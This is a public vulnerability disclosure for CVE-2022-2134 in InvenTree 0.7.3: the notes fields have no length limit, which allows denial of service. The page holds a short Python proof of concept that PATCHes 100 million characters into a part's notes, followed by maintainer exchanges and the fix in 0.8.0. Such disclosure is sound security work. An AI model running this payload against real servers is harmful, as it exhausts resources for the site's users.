Lack of Character Limit in Notes Sections Leads to Denial of Service in inventree/inventree

1

Valid Reported on Jun 18th 2022

Description

The InvenTree application allows for the inclusion of notes for various objects in the application. The notes functionality does not include a character limit. An attacker can submit an infinite number of characters into the notes section, which causes a denial of service and increased processor usage for the victim. The tester tested against the Stock Parts and Parts notes sections. Tester assumes that other objects in the application that have notes available would also be vulnerable, however did not test it due to consumption of local resources. Tester was able to add in excess of one hundred million (100,000,000) characters or more with the included PoC during testing.

Proof of Concept

```
import requests as request_handler

burp0_url = "http://192.168.1.5:8000/api/part/1/"
burp0_cookies = {"csrftoken": "L433DJ0Xtp97EpAMROtkIyLX8KZsXWUxGYHZTcUET4W
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; r
echo_time = "A"*100000000
burp0_json={"notes": echo_time}
request = request_handler.patch(burp0_url, headers=burp0_headers, cookies=b
print(request.text)
print(request.status_code)
```

Impact

Should a user visit one of the exploited parts, the vulnerable page will not lo
The victim may see their computer become unresponsive as the processor works to process

the amount of data being served by the vulnerable notes section.

Recommendation

Apply a consistent character limit across the application where user input can be added to notes sections.

References

- OWASP - Denial of Service

CVE
CVE-2022-2134
(Published)

Vulnerability Type
CWE-400: Denial of Service

Severity
High (7.1)

Registry
Other

Affected Version
0.7.3

Visibility
Public

Status
Fixed

Found by

Joe Helle
@dievus
master

Fixed by

Oliver
@schrodingersgat
maintainer

This report was seen 743 times.

We are processing your report and will contact the **inventree** team within 24 hours. 5 months ago

Joe Helle modified the report 5 months ago

Joe Helle modified the report 5 months ago

Joe Helle modified the report 5 months ago

Joe Helle modified the report 5 months ago

We have contacted a member of the **inventree** team and are waiting to hear back 5 months ago

Oliver 5 months ago — Maintainer

Thanks for the report Joe, we will look into this one ASAP.

Joe Helle 5 months ago — Researcher

Please let me know if you need anything from me. Thanks!

Oliver validated this vulnerability 5 months ago

Joe Helle has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Oliver marked this as fixed in **0.8.0** with commit **63b4ff** 5 months ago

Oliver has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Joe Helle 5 months ago — Researcher

@admin @maintainer can we have a CVE for this one?

Oliver 5 months ago Maintainer

https://github.com/inventree/InvenTree/security/advisories/GHSA-mmm6-rwf8-ghv3

Jamie Slome 5 months ago Admin

Sorted 👍

Joe Helle 5 months ago Researcher

Thanks Jamie!

Sign in to join this conversation

privacy policy

Chat with us